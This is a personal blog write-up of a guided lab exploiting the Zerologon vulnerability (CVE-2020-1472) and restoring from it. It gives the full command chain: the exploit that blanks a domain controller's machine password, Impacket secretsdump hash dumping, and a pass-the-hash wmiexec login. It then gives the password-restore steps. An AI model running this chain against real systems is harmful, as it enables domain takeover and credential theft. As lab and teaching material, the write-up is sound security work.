🌟
Noel's Cyberkshetra Blogspace
LinkedIn ProfileGithub ProfilePersonal Blogspot
  • Welcome to my Gitbooks Page
  • 💽Let's Defend Blue Team Walkthroughs
    • SOC164 - Suspicious Mshta Behavior Alert
    • SOC147 - SSH Scan Activity Alert
    • SOC146  -  Phishing Mail Detected Alert
    • SOC145 - Ransomware Detected Alert
    • SOC144  -  New scheduled task created Alert
    • SOC143 - Password Stealer Detected Alert
    • SOC141  -  Phishing URL Detected Alert
    • SOC141 - Phishing URL Detected Alert
    • SOC137 — Malicious File/Script Download Attempt: A Walkthrough
    • SOC109  -  Emotet Malware Detected Alert
    • SOC104 - Malware Detected Alert
    • SOC101  -  Phishing Mail Detected Alert
    • HTTP Basic Auth: Let's Defend DFIR Challenge
    • ShellShock Attack: Let’s Defend Challenge
    • 2021’s 0-Day MSHTML: Let's Defend Lab
  • 🤺BTLO Walkthroughs
    • BTLO: Network Analysis-Web Shell Challenge
    • BTLO: Suspicious USB Stick Challenge
  • 💒WiCYS CyberStart
    • Chapter 1 - Amsterdam A Running Start
      • WiCYS CyberStart (Amsterdam) Challenge 1
      • WiCYS CyberStart (Amsterdam) Challenge 2
      • WiCYS CyberStart (Amsterdam) Challenge 3
      • WiCYS CyberStart (Amsterdam) Challenge 4
    • Chapter 2 - Tokyo Patterns of Behaviour
      • WiCYS CyberStart (Tokyo) Challenge 1
      • WiCYS CyberStart (Tokyo) Challenge 2
      • WiCYS CyberStart (Tokyo) Challenge 3
      • WiCYS CyberStart (Tokyo) Challenge 4
    • Chapter 3 - Barcelona In the thick of it
      • WiCYS CyberStart (Barcelona) Challenge 1
      • WiCYS CyberStart (Barcelona) Challenge 2
      • WiCYS Cyberstart (Barcelona) Challenge 3
      • WiCYS CyberStart (Barcelona) Challenge 4
  • 📕Technical Cyber articles
    • An in-depth analysis of an Intrusion Prevention System
    • DevSecOps-Making a difference from traditional DevOps
    • CVE - 2020–1472 (Zerologon Vulnerability)-Exploitation & Remediation
    • Computer Forensics Acquisition
    • Cyber Hygiene Tips
    • Hack your System - Linux Edition
    • Markovian Parallax Denigrate-Breaking the cipher
    • SIEM-Incorporating Incident Response into Network Security
    • Social Engineering-A leading cause for vulnerability occurrence
    • Report Writing in Digital & Multimedia Forensics
    • Zero-Day Vulnerabilities: A short overview
    • Zero Trust Network Access-A solution to Network Security
  • 🧑‍💻Hack The Box : Starting Point Machines
    • Meow
    • Fawn
    • Dancing
    • Redeemer
Powered by GitBook
On this page
  • Section 1 — Exploiting Zerologon Vulnerability(CVE 2020–1472)
  • About the Vulnerability
  • Exploitable Point
  • Exploitation Walkthrough
  • What does this exploit do?
  • Section 2 — Remediation from the Vulnerability
  • Manual Password Restore — How does it work?
  • Conclusion
  • Your opinion matters
  1. Technical Cyber articles

CVE - 2020–1472 (Zerologon Vulnerability)-Exploitation & Remediation

Zerologon (CVE 2020-1472) Vulnerability

PreviousDevSecOps-Making a difference from traditional DevOpsNextComputer Forensics Acquisition

Last updated 3 years ago

NOTE: This is my first vulnerability-related writeup and I have tried to write and explain in layman terms. There may be knowledge gaps in between, which I am trying my hardest to cover and understand

I have tried to reproduce the vulnerability in this blog entry, while trying to understand it's severity and impact

Section 1 — Exploiting Zerologon Vulnerability(CVE 2020–1472)

About the Vulnerability

Netlogon is a service that runs on the Domain Controller. This service is responsible for authenticating user logins — effectively verifying the user is who they claim to be. As this function is one of the core functions of a Domain Controller, the Netlogon service cannot be stopped or firewalled off from networks of domain-joined computers.

  • CVSS Score — 10

  • Attack Complexity — Low

  • Privileges Required — Low

  • Vulnerability Found — July 2020​

Exploitable Point

The Netlogon RPC service, used for computer and user authentication in Windows, also allows a computer to update its computer password within the domain. For several historical reasons, this service does not use standard authentication protocols to authenticate the computer. The vulnerability exists within the non-standard method used to authenticate.

Exploitation Walkthrough

What do you need?

Impacket — to capture password hashes and dump them

Windows 10 OS (on which the vulnerable service exists)

Windows 10 VM — to perform the exploit on RangeForce’s

ZeroLogon Vulnerability Lab (Guided Mode)

Step to install:-

Now, let’s copy the exploit too from Github <cve-2020–1472-exploit.py>

Export the exploit to /impacket/examples/CVE-2020–1472/

Now, let’s switch to this directory

By now, we have identified the following details about the vulnerable service:-

NetBIOS computer name: DC IP address: 192.168.0.4

Syntax of exploit command:- ./cve-2020–1472-exploit.py -n <NetBIOS computer name> -t <IP address>

Now to run the script and exploit

./cve-2020–1472-exploit.py -n DC -t 192.168.0.4​

What does this exploit do?

It resets the Domain Controller’s account password to an empty string(easy login with a spacebar)

The gist: Your Domain Controller account’s password is a blank string

**Next objective-**dump password hashes from the Domain Controller

Domain Controller name NetBios Name IP Address of vulnerable host

We make use of the secretsdump.py module from Impacket to perform this task

Password Dump command syntax- python3 secretsdump.py -no-pass -just dc<Domain/NETBIOS_NAME\[email protected]>

(This command does not work with the simple execution command ./)

Filling in the blanks:-

python3 secretsdump.py -no-pass -just-dc CONTOSO.AZURE/DC\$@192.168.0.4

This leads to the dumping of around 60 password hashes:-

​

​Next objective — Logging onto the account of ContosoAdmin (Domain Controller admin’s account) — using the account’s dumped hash

Scrolling through the dumped list, we find the appropriate entry:-​

Logging on to the server, using the wmiexec.py module:-

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a2bd759faf686d052f5f7c8337a2ff51 CONTOSO.AZURE/DC\$@192.168.0.4

​We are in!

Section 2 — Remediation from the Vulnerability

How?

  • Manually restoring your password (or)

  • Update and install the August 2020 & February 2021 Patch Tuesday release for the same (patches released in two phases)

Manual Password Restore — How does it work?

As you exploit the vulnerability, the password hash is being erased and replaced with a blank string in the SAM file, from where your computer cross-checks passwords as a user logs in

Using the same methodology, we copy your compromised password (blank space in this case) from the SAM hive to the Domain Controller of the exploited machine. Further, copy it to your Kali VM and then delete it from the Domain Controller

Which we achieve from the following steps:-

​

​Now exiting the Windows machine, using exit- to the Kali machine

The next task is to parse the obtained SAM file, from the Domain Controller

Recovered password hash — 89ed2eb25e25770b7dd850e797ef8c7b49cc4d793ea50f9db33fe91cde5b97c20b8aa582a3acd371618e7f7ed5ad9ee87df1d073641c6718cb63ed7409711480

Now to place the final piece of the jigsaw — restoring the original password. For that, we have a customized script named — reinstall_original_pw.py

Syntax — reinstall_original_pw.py <DC_NETBIOS_NAME> <DC_IP_ADDR> <ORIG_NT_HASH>

Filling in the blanks here,

./reinstall_original_pw.py DC 192.168.0.4 89ed2eb25e25770b7dd850e797ef8c7b49cc4d793ea50f9db33fe91cde5b97c20b8aa582a3acd371618e7f7ed5ad9ee87df1d073641c6718cb63ed7409711480

Conclusion

This is an easy vulnerability to exploit, with less complexity, considering that we are still dependant on IT Systems to perform administrative tasks. This may be disputed, but 100% security may be a myth unless drastic action is taken to respond and patch even the slightest of issues

Thank you for the time taken to devour this purple team blog entry.

Your opinion matters

My audience has a voice. Feel free to reach out to me, on my socials (links are on top of this page) for any queries to be addressed. Dropping a sweet message would make my day

Let your opinion about this write-up be known, by selecting any one of the emojis below!

Twitter thread providing a nice walkthrough — 

First, let’s clone the repository from Github

git clone

Credits to .

What does this exploit do?
This leads to the dumping of around 60 password

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL Why parse? — To see where accounts are mapped to and to gain other information​

📕
https://twitter.com/_dirkjan/status/1306280553281449985
impacket
https://github.com/SecureAuthCorp/impacket.git
dirkjanm
https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py